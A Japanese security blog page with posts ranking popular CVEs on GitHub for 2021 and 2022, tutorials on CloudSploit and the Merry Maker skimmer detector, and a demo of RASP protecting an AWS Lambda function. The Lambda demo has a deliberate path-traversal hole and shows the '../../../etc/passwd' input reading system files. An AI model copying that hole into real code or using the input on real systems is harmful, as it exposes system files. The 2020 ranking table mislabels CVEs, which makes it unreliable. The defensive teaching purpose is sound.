まったり技術ブログ

Webエンジニアのセキュリティブログ

トップ > セキュリティ

2022年 人気脆弱性 TOP 10 in GitHub

セキュリティ 人気脆弱性

はじめに

　新年あけましておめでとうございます！

　新年一発目の記事ということで、年に一度の人気脆弱性の紹介となります。

過去の人気脆弱性

　参考までに 2020年 と 2021年 の人気脆弱性を記載しておきます。

▼ 2020年

　2020年は、SMBv3 に対して認証無しでRCE可能な脆弱性 CVE-2020-11651 が1位でした。

スコア CVE ID リポ数 スター合計
1位 3,696 CVE-2020-11651 / Microsoft SMBv3 69 3,006
2位 3,451 CVE-2020-0787 / Oracle WebLogic Server 23 3,221
3位 3,149 CVE-2020-1938 / Netlogon 45 2,699
4位 1,709 CVE-2020-0688 / Microsoft Windows CryptoAPI 32 1,389
5位 1,520 CVE-2020-5902 / Oracle WebLogic Server 8 1,440
6位 1,185 CVE-2020-2551 / BIG-IP 製品 51 675
7位 1,076 CVE-2020-0601 / Microsoft Exchange Server 17 906
8位 1,026 CVE-2020-1472 / Apache Tomcat 23 796
9位 508 CVE-2020-14882
/ Windows Background Intelligent Transfer Service 		3 478
10位 495 CVE-2020-0796 / SaltStack Salt 12 375

▼ 2021年

　2021年は、最悪と評価された脆弱性である Log4Shell (Log4jの脆弱性) が1位でした。

スコア 公表日 CVE ID リポ数 スター合計
1位 15,134 2021/12/10 CVE-2021-44228 / Apache Log4j 345 11,684
2位 2,847 2021/01/26 CVE-2021-3156 / sudo 52 2,327
3位 2,696 2021/09/15 CVE-2021-40444 / Microsoft MSHTML 35 2,346
4位 2,034 2021/06/08 CVE-2021-1675 / Windows 印刷スプーラー 11 1,924
5位 1,667 2021/03/02 CVE-2021-26855 / Microsoft Exchange Server 41 1,257
6位 1,557 2021/10/05 CVE-2021-41773 / Apache HTTP Server 76 797
7位 1,149 2021/02/24 CVE-2021-21972 / VMware vCenter Server 26 889
8位 1,068 2021/11/09 CVE-2021-42278 / Microsoft Windows Server 5 1,018
9位 1,005 2021/01/29 CVE-2021-25646 / Apache Druid 7 935
10位 975 2021/11/09 CVE-2021-42287 / Microsoft Windows Server 1 965

2022年 人気脆弱性 TOP 10 in GitHub

　では、2022年の人気脆弱性を紹介していきます。

10位 753 pt - macOS における権限昇格される脆弱性（CVE-2022-46689）

リポジトリ数: 3 / スター数: 723

App がカーネル権限で任意のコードを実行できる可能性があります。
「MacDirtyCow」と呼称されています。

　様々な機器に利用されている macOS の脆弱性であるためランクインしたと思われます。

PoC：ginsudev / WDBFontOverwrite

参考

9位 766 pt - Cobalt Strike におけるクロスサイトスクリプティングの脆弱性（CVE-2022-39197）

リポジトリ数: 13 / スター数: 636

HelpSystems 社の Cobalt Strike 4.7 までのバージョンに XSS (Cross Site Scripting) の脆弱性があり、リモートの攻撃者が Cobalt Strike teamserver上で HTML を実行できる可能性がありました。
この脆弱性が RCE につながる可能性があると記載されています。

　XSSの脆弱性ですが RCE に繋げることができる(RCE via XSS) ためランクインしたと思われます。

PoC: its-arun / CVE-2022-39197

参考

mp.weixin.qq.com

8位 821 pt - OpenSSL におけるバッファオーバーフローの脆弱性（CVE-2022-3602）

リポジトリ数: 8 / スター数: 741

OpenSSLには、X.509証明書の検証処理を通じてバッファオーバーフローが発生する脆弱性があります。 脆弱性が悪用された場合、攻撃者が用意した悪意のある証明書により、4バイト（CVE-2022-3602）あるいは任意のバイト数（CVE-2022-3786）のオーバーフローを発生させられる可能性があります。 結果として、サービス運用妨害（DoS）状態にされたり（CVE-2022-3602, CVE-2022-3786）、遠隔からのコード実行が行われたりする可能性があります（CVE-2022-3602）。

　脆弱性公開前まで『OpenSSLで史上2度目の「致命的」レベルの脆弱性』という評価から多くの人が警戒していた脆弱性です。そのため詳細の公表前後問わず注目されていました。

　公開されてると重大度が下がっていたりとガッカリした人は多いのではないでしょうか。

gigazine.net

PoC: NCSC-NL / OpenSSL-2022

参考

7位 1,289 pt - Spring Cloud Gateway における未認証の任意のコード実行の脆弱性（CVE-2022-22947）

リポジトリ数: 55 スター数: 739

GatewayActuator エンドポイントが有効化され、公開され、安全でない場合、アプリケーションはコードインジェクション攻撃に対して脆弱です。 リモートの攻撃者が悪意をもって細工されたリクエストを作成し、リモートホストで任意のリモート実行を行う可能性があります。

　Java界では有名なSpringプロジェクトが提供しているAPI構築基盤である Spring Cloud Gateway の脆弱性でした。

PoC: lucksec / Spring-Cloud-Gateway-CVE-2022-22947

参考

6位 1,475 pt - BIG-IP 製品の iControlREST コンポーネントにおける未認証の任意のコード実行の脆弱性（CVE-2022-1388）

リポジトリ数: 61 / スター数: 865

F5社 の BIG-IP 製品の iControl REST API 機能にリモートコード実行の脆弱性があります。 認証されていないリモートの攻撃者はこれを悪用して、認証をバイパスし、ルート権限で任意のコードを実行する可能性があります。

　有名なネットワーク機器ブランドである BIG-IP の脆弱性であるためランクインしたと考えられます。

PoC: horizon3ai / CVE-2022-1388

参考

5位 1,479 pt - VMware Workspace ONE Access、VMware Identity Manager における未認証の任意のコード実行の脆弱性（CVE-2022-22954）

リポジトリ数: 26 スター数: 1,219

VMware Workspace ONE Access、VMware Identity Manager におけるサーバーサイド テンプレート インジェクションに起因するリモートコード実行(RCE)の脆弱性(CVE-2022-22954)は、エクスプロイトが非常に容易(trivial)で、脆弱なデバイスにHTTPリクエストを1つ送るだけで悪用可能です。

　実際のサイバー攻撃に利用された脆弱性であるためランクインしたと考えられます。
www.security-next.com

PoC: Schira4396 / VcenterKiller

参考

4位 1,683 pt - マイクロソフトサポート診断ツールに任意のコード実行の脆弱性（CVE-2022-30190）

リポジトリ数: 11 / スター数: 1,924

Word などの呼び出し元アプリケーションから URL プロトコルを使用して MSDT が呼び出されると、リモートでコードが実行される脆弱性が存在します。 攻撃者がこの脆弱性を悪用した場合、呼び出し元のアプリケーションの権限で任意のコードが実行される可能性があります。

　一般的によく利用されるツールである Microsoft Word が標的となる脆弱性であるためランクインしたと考えられます。

PoC: komomon / CVE-2022-30190-follina-Office-MSDT-Fixed

参考

3位 2,131 pt - Confluence Server、Data Center における未認証の任意のコード実行の脆弱性（CVE-2022-26134）

リポジトリ数: 62 / スター数: 1,511

Atlassian では、Confluence Data Center と Server における、重大な深刻度を持つ未認証のリモートコード実行の脆弱性を把握しています。 認証されていないユーザーが、Confluence Server または Data Center インスタンスで任意のコードを実行できる、OGNL インジェクションの脆弱性が存在します。

　インターネット上に公開されていることが多いかつシェアも大きいソフトウェアの脆弱性であるためランクインしたと考えられます。

PoC: W01fh4cker / Serein

参考

2位 2,176 pt - Spring Framework における不適切なデータバインディング処理による任意コード実行の脆弱性（CVE-2022-22965）

リポジトリ数: 70 / スター数: 1,476

Spring Framework には、データバインディングで使用する、CachedIntrospectionResults クラス内の PropertyDescriptor オブジェクトを安全に処理しない脆弱性があります。 その結果、攻撃者により class.classLoader を呼び出され、システム内で任意の Java コードが実行される可能性があります。

　Java業界で有名なフレームワークである Spring Framework の脆弱性であるためランクインしたと考えられます。

　特定の実装方法でないと再現しない脆弱性であるため、実際のサイバー攻撃に用いることは難しそうです。

PoC: BobTheShoplifter / Spring4Shell-POC

参考

1位 2,924 pt - Linux Kernel における権限昇格される脆弱性（CVE-2022-0847 / Dirty Pipe）

リポジトリ数: 80 / スター数: 2,124

Linux Kernel には、権限昇格の脆弱性があります。 結果として、第三者が管理者に権限昇格を行う可能性があります。 発見者は脆弱性を「Dirty Pipe」と呼称し、脆弱性を実証するコードも公開しています。

　絶大なシェアを誇る Linux Kernel の権限昇格の脆弱性です。

　近年の当ランキングから RCE ではなく権限昇格 が1位になるのは非常に珍しいと思っています。

　これだけ有名な脆弱性だと手元で再現させたくなりますが TryHackMe に環境が用意されており手軽に試すことができそうです。（※有償のサービス） tryhackme.com

PoC: Arinerron / CVE-2022-0847-DirtyPipe-Exploit

参考

まとめ

　2021年に Log4Shell があったため、比較してしまうと2022年は大人しめだった印象です。

　2023年にはどのような脆弱性がでてくるか楽しみです。

簡易一覧

スコア 公表日 CVE ID リポ数 スター合計
1位 2,924 2022/03/07 CVE-2022-0847 80 2,124
2位 2,176 2022/04/01 CVE-2022-22965 70 1,476
3位 2,131 2022/06/03 CVE-2022-26134 62 1,511
4位 1,683 2022/06/01 CVE-2022-30190 75 933
5位 1,479 2022/04/11 CVE-2022-22954 26 1,219
6位 1,475 2022/05/05 CVE-2022-1388 61 865
7位 1,289 2022/03/03 CVE-2022-22947 55 739
8位 821 2022/11/01 CVE-2022-3602 8 741
9位 766 2022/09/21 CVE-2022-39197 13 636
10位 753 2022/12/15 CVE-2022-46689 3 723

参考

更新履歴

  • 2023年01月05日 新規作成

ランキング参加中
セキュリティ

【入門】無料で始めるCSPM（AWS編）

セキュリティ AWS

CSPM とは

　CSPM（シーエスピーエム）は「Cloud Security Posture Management」の略称でクラウド環境の"ポスチャ"を管理するツールです。

　Posture という単語にあまり馴染みがないですが、とりあえず「Posture ≒ 状態」と捉えればよさそうです。

　日本語では「クラウドセキュリティ動態管理」や「クラウドセキュリティ態勢管理」、「クラウドセキュリティポスチャマネジメント」の表記をよく見かけます。

　CSPM はクラウドの状態を検査するツールであり、検査対象のクラウド環境の以下のようなものを検出します。

  • 「バッドプラクティスな利用」 → ルートユーザを利用している　など
  • 「脆弱な設定」 → 読み込み権限、書き込み権限がパブリックになっているS3バケットが存在している　など
  • 「提供されているセキュリティ機能やサービスの不使用」 → VPC フローログが有効になっていない など

動作検証

　本検証では AWS環境に対してCSPMを使います。

　CSPM には AWS から提供されている「AWS Config」などもありますが、本記事では AquaSecurity 社からOSSで提供されている「CloudSploit」を使います。 github.com

　Dockerfile が提供されているので Docker で動作させます。

検査用のIAMユーザを追加

　検査を実行するには検査用のIAMユーザが必要なので、AWSコンソールにアクセスし、IAMユーザを追加します。

「ユーザ名」は任意のものでよいので、ここでは「test_cloudsploit」にしています。
APIキーが必要なので「アクセスキー - プログラムによるアクセス」にチェックします。

　ユーザに対して「SecurityAudit」をアタッチします。

　後は特に編集せずにユーザ追加を完了させます。

CloudSploit の導入

コードの取得

　リポジトリ上では最終リリースが 2020年8月26日 であり、バージョン 2.0.0 が最新のものとなっています。 これは少し古いため masterブランチのコードを使って検証を行なっていきます。

　コードのクローン後にチェックアウト(checkout)していますが、執筆時点(2022/11/17)の最新コードにするためです。

$ git clone https://github.com/aquasecurity/cloudsploit.git
$ cd cloudsploit
$ git checkout c19bf228dd04585609a432c5e4c9adbcb3c7f25a

コードの修正

　取得したコードをそのまま実行してもエラーが発生することが確認されています。

　解消するために「Dockerfile」を以下のように編集します。

$ git diff
diff --git a/Dockerfile b/Dockerfile
index d65d367d..5de252ce 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -14,7 +14,8 @@ COPY . /var/scan/cloudsploit/
 # Install cloudsploit/scan into the container using npm from NPM
 RUN cd /var/scan \
 && npm init --yes \
-&& npm install ${PACKAGENAME}
+&& npm install ${PACKAGENAME} \
+&& npm link /var/scan/cloudsploit

 # Setup the container's path so that you can run cloudsploit directly
 # in case someone wants to customize it when running the container.

参考：fix-broken-node-bin-links by pasanchamikara · Pull Request #1119 · aquasecurity/cloudsploit https://github.com/aquasecurity/cloudsploit/pull/1119

Dockerfile からイメージを 構築 (build)

　Dockerfileの修正が完了したらDockerイメージを作成するためにビルドをします。

$ docker build . -t cloudsploit:0.0.1

動作テスト

　動作確認のためにヘルプを表示します。

$ docker run cloudsploit:0.0.1 --help

   _____ _                 _  _____       _       _ _
  / ____| |               | |/ ____|     | |     (_) |
 | |    | | ___  _   _  __| | (___  _ __ | | ___  _| |_
 | |    | |/ _ \| | | |/ _` |\___ \| '_ \| |/ _ \| | __|
 | |____| | (_) | |_| | (_| |____) | |_) | | (_) | | |_
  \_____|_|\___/ \__,_|\__,_|_____/| .__/|_|\___/|_|\__|
                                   | |
                                   |_|

  CloudSploit by Aqua Security, Ltd.
  Cloud security auditing for AWS, Azure, GCP, Oracle, and GitHub

usage: cloudsploit-scan [-h] [--config CONFIG]
                        [--compliance {hipaa,cis,cis1,cis2,pci}]
(...snip...)

検査の実行 パターン①

　CloudSploit が正常に動作することが確認できたため、検査を実行してみます。

　デフォルトでは検査結果はコンソールに出力されるようになっていますが、本検証ではJSONファイルに出力するようにします。

$ docker run -e AWS_REGION='ap-northeast-1' -e AWS_ACCESS_KEY_ID='<AWS_ACCESS_KEY_ID>' \
    -v /tmp/result2.json:`pwd`/result2.json \
    cloudsploit:0.0.1 --console=none --json=/tmp/result2.json --compliance=pci

INFO: Found 64 API calls to make for aws plugins

■ オプションの説明

  • Docker 側
    • 「-e AWS_REGION='ap-northeast-1'」・・・指定しないとエラーになるので指定しています。
      参考：Missing region in config Error Message in AWS prevents running the collection/scan · Issue #1101 · aquasecurity/cloudsploit
    • 「-e AWS_ACCESS_KEY_ID」・・・作成したIAMユーザのアクセスキーを指定します。
    • 「-e AWS_SECRET_ACCESS_KEY」・・・作成したIAMユーザのシークレットキーを指定します。
    • 「-v `pwd`/tmp/:/tmp/」・・・Docker環境内の /tmp/ をカレントディレクトリの tmp/ にマウントします。
      このディレクトリに検査結果のJSONファイルを出力します。
  • CloudSploit 側
    • 「--console=none」・・・検査結果をコンソールに出力しない。 大量の結果が表示されるため抑制していおきます。
    • 「--json=/tmp/result2.json」・・・検査結果をJSON形式で「/tmp/result.json (※Docker環境内)」ファイルに出力します。
    • 「--compliance=pci」・・・PCI DSS の項目のみを検査するにします。デフォルトでは全項目を検査するため、時間短縮のために指定しています。

検査結果の確認

　正常に検査が完了した場合、カレンとディレクトリの「tmp/result2.json」に検査結果が出力されます。

　デフォルトでは問題有無に関係なく全ての検査項目が出力されるようになっています。

　問題がある項目のみを出力するために、jqコマンドで status が FAIL になっている検査項目を出力するようにします。

　今回は EC2 と S3 のみを抜粋して検査結果を説明します。

EC2 の検出項目

　EC2 に関しては以下の2点を検出できました。

  • VPC フローログがトラフィックログが有効になっていない
  • default のセキュリティグループが「全トラフィックをブロック」になっていない
$ cat tmp/result2.json | jq '.[] | select(.category == "EC2" and .region == "ap-northeast-1" and .status == "FAIL")'

S3 の検出項目

　S3 に関しては以下の1点を検出できました。

  • S3バケットのロギングが有効になっていない
$ cat tmp/result2.json | jq '.[] | select(.category == "S3" and .region == "ap-northeast-1" and .status == "FAIL")'

検査の実行 パターン②

　今度は1項目のみを検査してみることにします。

　CloudSploit ではプラグインという単位で検査項目が作成されています。そのため「--plugin」オプションを付与することで1項目の検査をすることができます。

　試しに「rootAccountInUse」というプラグインを指定してみることにします。これは「ルートユーザの利用有無」を検査するプラグインです。

$ docker run -e AWS_REGION='ap-northeast-1' -e AWS_ACCESS_KEY_ID='<AWS_ACCESS_KEY_ID>' \
    -v `pwd`/tmp/:/tmp/ \
    cloudsploit:0.0.1 --console=none --json=/tmp/result2.json --compliance=pci --plugin=rootAccountInUse

■ オプションの説明

  • 「--plugin=rootAccountInUse」・・・rootAccountInUseプラグインのみを検査します。 1項目だけを検査するため早く完了します。

検査結果の確認

IAM の検出項目

　パターン①の時とは違い status の値が OK となっています。これは問題がないことを表しています。

　検査対象のAWS環境ではルートユーザを利用していないため、これは正しい結果です。

$ cat tmp/result2.json | jq '.[] | select(.category == "IAM" and .plugin == "rootAccountInUse")'

　次に検査対象に対してルートユーザでログインして、再度検査を実施してみます。

　その結果が以下の画像です。status が FAIL となっており、問題が発生したことが確認できました。

検査を終えて

CloudSploit の検査の流れ

　検査結果の確認ができたので CloudSploit の処理の流れを軽く見てみることにします。

大きく処理を分けると以下の3つになります。

  1. AWS API にアクセスし情報収集
  2. 収集情報をプラグインで解析
  3. 結果の出力

　AWS API からの収集情報は「--collection」オプションで保存できるようになっています。

$ docker run -e AWS_REGION='ap-northeast-1' -e AWS_ACCESS_KEY_ID='<AWS_ACCESS_KEY_ID>' -e AWS_SECRET_ACCESS_KEY='<AWS_SECRET_ACCESS_KEY>' \
    -v `pwd`/tmp/:/tmp/ \
    cloudsploit:0.0.1 --console=none --json=/tmp/result2.json --compliance=pci --plugin=rootAccountInUse --collection=/tmp/collection.json

■ オプションの説明

  • 「--collection=/tmp/collection.json」・・・収集した情報(API結果)がJSON形式で出力するようにします。

　上記コマンドを実行した結果の「collection.json」ファイルの中身は以下のようになります。

　「password_last_used（ルートユーザの最終認証日）」を参照してルートユーザの利用有無を確認しているようでした。

　各種検査項目は以下のディレクトリに記述されています。
Cloud Security Posture Management (CSPM)

CSPM を応用する

　状態の異常を検出するCSPMですが、 API から取得した情報（collection.json）の差分を取得・監視し続けることにより、監視項目にはない変更も検出可能です。
（セキュリティグループが更新された、IAMユーザが新規に作成された など）

まとめ

　CSPMは、「簡単に導入でき」かつ「効果が大きい」のでもっと普及してほしい。

更新履歴

  • 2022年11月17日 新規作成

ランキング参加中
セキュリティ

【開発日誌】「Hacker Trends」というサイトを作ったので紹介

開発日誌 セキュリティ

今回作ったサイトはこちらから

Hacker Trends

簡単なサイト説明

　セキュリティクラウスター(情報セキュリティについてよくつぶやく方)のTwitterアカウントのツイートから URL を抽出し、よくツイートされているURLを表示するサイトです。
ツイート数の多いURLを上から並べています。

　作成したサイトの画面はこんな感じ。

2022年7月現在

所管

　もともとは下画像のようにコマンドラインで表示していたところをサイトに移してみましたが、なかなか便利。 　

元々はコマンドラインで取得していた

ランキング参加中
セキュリティ
ランキング参加中
プログラミング

Webスキマー検知ツール「Merry Maker」を使ってみる

セキュリティ

はじめに

「Merry Maker」 とは

　「Merry Maker」は、Webサイトに仕込まれたWebスキマー（クレジットカード情報や認証情報を盗む悪意あるスクリプト）を検出するツールです。

　米国の大手百貨店Target社のセキュリティエンジニアによって開発されており、GitHub上で公開されています。
（WikiによるとTarget社は2013年11月に7,000万人規模の顧客情報の流出を経験しているようです） tech.target.com

　ソースコードはこちらです。
target/mmk-ui-api: UI, API, and Scanner (Rules Engine) services for Merry Maker

ざっくりと説明

  • 監視対象のWebサイトをクローリングすることでWebスキマーを検出
  • クローリングは Puppeteer (Node.js) で記述 （クローリングが柔軟。でも少し知識が必要）
    • ログイン処理を記述することでログイン後画面も監視可能
  • 検出条件は yaraルールで記述

環境構築

Merry Maker を起動

　Dockerファイルが提供されており、簡単に試すことができます。

　執筆時点の最新版( 2022/04/22更新 コミットID ef57040e9cfabcb1ece2eaa118152ea57c632637 )を利用しています。

$ docker compose -f docker-compose.all.yml up

　Merry Maker の起動後「http://127.0.0.1:8080/」にアクセスするとダッシュボードが表示されます。
初期アクセス時には認証情報を設定する必要があります。

　ログイン後に監視サイトの追加などの設定ができる画面が表示されます。
サイドバーから各種設定ができる画面に遷移できるようになっています。

監視対象(EC-CUBE)を構築

　次に本記事で利用する監視対象サイトを構築します。

　EC向けCMSである EC-CUBE を監視対象にします。

　EC-CUBE は以下のリポジトリから取得できます。 バージョンは特に指定ありませんが 4.0.5 を使っています。
EC-CUBE/ec-cube at 4.0.5

　こちらもDocker で起動します。

$ docker-compose up

　起動後、DBの接続設定やサイトの情報を入力を終えると、EC-CUBEのトップページが表示されます。

管理画面から会員登録をします。後々ログイン後画面を監視するのに利用します。

Webスキマーの検知設定

　ではサイトを監視するための設定作業を行なってきます。

　本記事では初めに「トップページを監視」の設定を行い、その次にログイン処理などの設定が必要な「ログイン後ページ(購入確認) を監視」の設定を行なっていきます。

監視の設定入門

　Merry Maker は監視対象サイトに対してクローリングを実施し、HTMLやJavaScriptファイルにWebスキマーが埋め込まれていないかを検査していきます。

　クローリングは Puppeteer (Headless Chrome Node.js API) が動作するようになっており、 Node.js で画面の遷移方法やログイン処理などを記述していきます。

　Webスキマーはyaraルールに従って検知されるようになっています。

yaraルール抜粋

ケース１：トップページを監視

　手始めにトップページだけを監視する設定をしてみます。

"Sources" で遷移内容を設定

　"Sources"画面ではWebサイトのクローリング内容を設定します。

　Name項目には Source の識別子を適当に記述します。今回は shop 1 とします。

　Source項目には Puppeteer の書き方でクローリング内容を記述します。
今回はトップ画面だけを監視するため、トップ画面にアクセスする一行だけの記述で動作します。

"Sites"で監視間隔を設定

　"Sites"画面ではクローリング間隔を設定することができます。

　今回は検証なので最短の5分間隔でクローリングを行うように設定します。

　この画面で"Source"(クローリング内容)も設定する必要があるため、先ほど作成した shop 1 を設定します。

監視結果を確認 (検知なし)

　"Alerts"に何も表示されていない。

Webスキマー(マルウェア)を埋め込む

　検知の検証には本物のWebスキマーを利用せずに、yaraルールに引っかかる文字列(検知文字列)をWebサイトに埋め込んで検証をしていきます。

　digital_skimmer_slowaes ルールの検知文字列をWebサイトに埋め込みます。

　EC-CUBEの管理画面からJavaScriptを編集して、検知文字列が出力されるようにします。

　編集後、customize.jsに検知文字列が記述されていることが確認できます。

監視結果を確認 (検知あり)

　検知文字列の設定後、クローリングが完了するとアラートが表示されます。

　Merry Maker のダッシュボードから確認することができます。

　"Alerts"画面からWebスキマーが検知されたJavaScriptファイル名を確認することができます。

ケース２：ログイン後ページ(購入確認) を監視

　次は「ご注文内容のご確認」画面にWebスキマーを埋め込んで検知されることを確認していきます。

　この画面は注文完了の直前の画面であり、遷移するにはログインする必要があります。

　クローリングを簡潔にするため、カートに商品を入れた状態にしておきます。以下の画面が監視対象です。

Webスキマー(マルウェア)を埋め込む

　digital_skimmer_gibberish ルールの検知文字列をWebサイトに埋め込みます。

　以下の条件に該当する文字列をサイトに埋め込みます。

　「ご注文内容のご確認」のHTMLに検知文字列が表示されていることが確認できました。

"Sources" で遷移内容を設定

　遷移内容を記述します。

　ログインとリンク遷移の処理を記述する必要があります。

　全スクリプトの内容は以下のようになります。
HTMLを監視するためにはhtmlSnapshot関数を利用する必要があります。

監視結果を確認 (検知あり)

　Alertsログに「digital_skimmer_gibberish hit」があり、無事検知することができました。

　文字化けしていますが、画面キャプチャを取得することも可能です。

まとめ

　2022年2月に公開されたソフトウェアあり、まだ実績などの効果は不明ですが、ECサイトを運営しておりWebスキマーを検出する仕組みを取り入れていない方は使ってみてはいかがでしょうか。　

参考

「AWS Lambda Function URLs」をRASPで守る

セキュリティ

はじめに

　2022年4月6日、AWS Lambdaに大きなアップデートがありました。
　アップデート内容を簡単に説明すると「AWS Lambda Function URLs」というもので、AWS Lambdaに直接HTTPSエンドポイントを設定できるようになりました。

AWS Lambda Function URLs: built-in HTTPS endpoints for your Lambda functions

　図で表すとこんな感じです。

　AWS LambdaにHTTPSエンドポイントを設定できるのは便利でありますが、API Gatewayを介さないのでAWS WAFを設定することができなくなり、セキュリティ機構を持たせることが難しくなりました。

　本記事ではRASP(Runtime application self-protection)を用いてAWS Lambdaにセキュリティ機構を持たせる方法を説明していきます。

　RASPにはDatadog社(元Sqreen社)のRASPを利用して検証していきます。無料枠も提供されているので、興味がある方は実際に試してみるのもいいと思います。

▼ Sqreen社のサイト Application Security Management Platform | Sqreen

準備

  • AWS Lambda - Python 3.8
    • ※最新バージョンである 3.9 はSqreen RASPで対応していないので 3.8 を使います
  • RASP (Sqreen)
    • Sqreen アカウント
    • 無料枠

AWS Lambda

　AWS Lambda Function URLsを設定したAWS Lambdaを用意します。

▼ AWS Lambda Function URLs の設定方法はこのサイトが参考になります。 [アップデート]LambdaがHTTPSエンドポイントから実行可能になる、AWS Lambda Function URLsの機能が追加されました！ | DevelopersIO

　以下は本記事の検証環境の設定値です。

  • 関数名：testPublicFuntion
  • ランタイム：Python 3.8・・・ 3.9は現在RASP側で対応していませんでした。
  • 関数 URL を有効化：チェック
    • 認証タイプ：NONE

コードの内容

　Lambdaのコードの処理内容は以下のようにしています。

  • /tmp/date.txtファイルに現在時刻を保存する
  • filenameクエリストリングに指定したファイルの内容を画面に返す
import datetime

def lambda_handler(event, context):
    with open('/tmp/date.txt', mode='w') as f:
        f.write(datetime.datetime.now().strftime('%Y年%m月%d日 %H:%M:%S'))

    body = None
    with open('/tmp/' + event['queryStringParameters']['filename'], "r") as f:
        body = f.read()

    return {
        'statusCode': 200,
        'body': body
    }

RASP

　Sqreenのドキュメントに従ってLambda レイヤーを作成します。

Sqreen | Install Sqreen for AWS Lambda Python functions

　作成が完了すると、ダッシュボード上で「sqreen-for-python」というLambda レイヤーが確認できます。

　これで準備は完了となります。

動作確認

正常系

　filenameクエリストリングにdate.txtを指定すると、ファイルの内容が返されました。

攻撃系

　Lambdaのコードを見れば分かる通り、filenameクエリストリングのバリデーション（値の検証）が実施されていないので、ディレクトリトラバーサルの脆弱性があります。

　試しに「../../../etc/passwd」を入力すると、/etc/passwdファイルの内容が返されました。
（RASPのデフォルト動作として攻撃リクエストのブロックは行いません。ログ保存が行われます。）

攻撃ログの確認

　Sqreen RASPの管理画面で攻撃ログが保存されていることを確認することができます。

　先ほど攻撃リクエストを送信したので、攻撃ログが保存されています。

　攻撃元IPや攻撃種別などを確認することができます。

　攻撃詳細を画面では実際のリクエスト内容の詳細情報を確認することができます。

攻撃のブロック設定

　デフォルトでは攻撃リクエストをブロックせずログを保存する設定になっています。

　攻撃リクエストをブロックするように設定を変更します。

　再度攻撃リクエストを送信すると、攻撃が成功しないことが確認できます。

更新履歴

  • 2022年04月09日 新規作成

2021年 人気脆弱性 TOP 10 in GitHub

人気脆弱性 セキュリティ

はじめに

　2021年も終わってしまいました。人気脆弱性ランキングも決まってしまいました。

　1位はもちろんアノ脆弱性です。

　参考までに 2019年 と 2020年 の人気脆弱性を記載しておきます。

2019年

スコア CVE ID リポ数 スター合計
1位 5,413 CVE-2019-0708 / BlueKeep 111 4,303
2位 1,868 CVE-2019-11043 / PHP-FPM 16 1,708
3位 935 CVE-2019-2725 / Oracle WebLogic 17 765

2020年

スコア CVE ID リポ数 スター合計
1位 3,696 CVE-2020-0796 / SaltStack Salt 69 3,006
2位 3,451 CVE-2020-14882
/ Windows Background Intelligent Transfer Service 		23 3,221
3位 3,149 CVE-2020-1472 / Apache Tomcat 45 2,699

2021年 人気脆弱性 TOP 10 in GitHub

10位 975 pt 『Microsoft Windows Server における権限を昇格される脆弱性 (CVE-2021-42287)』

　リポジトリ数: 1 スター数: 975

Kerberos 特権属性証明 (PAC) に影響を与えて、潜在的な攻撃者がドメイン コントローラーになりすますことを許可するセキュリティバイパスの脆弱性

support.microsoft.com

9位 1,005 pt 『Apache Druid における重要なリソースに対する不適切なパーミッションの割り当てに関する脆弱性 (CVE-2021-25646)』

　リポジトリ数: 7 スター数: 935

nicksecuritylog.com

8位 1,068 pt 『Microsoft Windows Server における権限を昇格される脆弱性 (CVE-2021-42278)』

　リポジトリ数: 5 スター数: 1,018

潜在的な攻撃者がコンピューターアカウント sAMAccountName スプーフィングを使用してドメインコントローラーを偽装できるセキュリティバイパスの脆弱性

support.microsoft.com

7位 1,149 pt 『VMware vCenter Server および Cloud Foundation における権限管理に関する脆弱性 (CVE-2021-21972)』

リポジトリ数: 26 スター数: 889

kb.vmware.com

6位 1,557 pt 『 Apache HTTP Server におけるディレクトリトラバーサルの脆弱性 (CVE-2021-41773)』

　リポジトリ数: 76 スター数: 797

www.nri-secure.co.jp

www.jpcert.or.jp

5位 1,667 pt 『Microsoft Exchange Server におけるリモートでコードを実行される脆弱性 (CVE-2021-26855 通称 ProxyLogon)』

　リポジトリ数: 41 スター数: 1,257

www.ipa.go.jp

security.macnica.co.jp

4位 2,034 pt 『Windows 印刷スプーラーのリモートでコードが実行される脆弱性 (CVE-2021-1675 通称 PrintNightmare)』

　リポジトリ数: 11 スター数: 1,924

www.jpcert.or.jp

3位 2,696 pt 『Microsoft MSHTML のリモートでコードが実行される脆弱性 (CVE-2021-40444)』

　リポジトリ数: 35 スター数: 2,346

www.jpcert.or.jp

msrc.microsoft.com

2位 2,847 pt 『sudo にヒープベースのバッファオーバーフローの脆弱性 (CVE-2021-3156 通称 Baron Samedi)』

　リポジトリ数: 52 スター数: 2,327

www.jpcert.or.jp

www.miraclelinux.com

1位 15,134 pt 『Apache Log4j における任意のコードが実行可能な脆弱性 (CVE-2021-44228 通称 Log4Shell)』

　リポジトリ数: 345 スター数: 11,684

Log4Shellのロゴ

Log4j には JNDI Lookup 機能による外部入力値の検証不備に起因して任意の Java コードを実行可能な脆弱性が存在します。

　この脆弱性に関連するリポジトリが345個もあり、この脆弱性の再現が容易であることが分かります。

　ニュースでピックアップされるほど影響のある脆弱性でした。

www.jpcert.or.jp

まとめ

簡易一覧

スコア 公表日 CVE ID リポ数 スター合計
1位 15,134 2021/12/10 CVE-2021-44228 / Apache Log4j 345 11,684
2位 2,847 2021/01/26 CVE-2021-3156 / sudo 52 2,327
3位 2,696 2021/09/15 CVE-2021-40444 / Microsoft MSHTML 35 2,346
4位 2,034 2021/06/08 CVE-2021-1675 / Windows 印刷スプーラー 11 1,924
5位 1,667 2021/03/02 CVE-2021-26855 / Microsoft Exchange Server 41 1,257
6位 1,557 2021/10/05 CVE-2021-41773 / Apache HTTP Server 76 797
7位 1,149 2021/02/24 CVE-2021-21972 / VMware vCenter Server 26 889
8位 1,068 2021/11/09 CVE-2021-42278 / Microsoft Windows Server 5 1,018
9位 1,005 2021/01/29 CVE-2021-25646 / Apache Druid 7 935
10位 975 2021/11/09 CVE-2021-42287 / Microsoft Windows Server 1 965

　今後、1位の Log4Shell のスコア「15,134」を超えられる脆弱性が現れるのか楽しみです。

リポジトリ数の上位

リポ数 CVE ID 概要
345 CVE-2021-44228 -
76 CVE-2021-41773 -
52 CVE-2021-3156 -
41 CVE-2021-26855 -
36 CVE-2021-26084 Confluence ServerおよびData CenterのOGNLインジェクション
35 CVE-2021-40444 -
26 CVE-2021-21972 -
24 CVE-2021-43798 Grafana のディレクトリトラバーサル
21 CVE-2021-22205 GitLab CE/EE の認証不要RCE
12 CVE-2021-38647 Open Management Infrastructure (OMI) のRCE

WordPressプラグインの脆弱性業界に動きがあった2021年

　2021年の脆弱性業界に大きな影響を与えたものの1つとして、『WPScanがCNAになった』ということがあります。

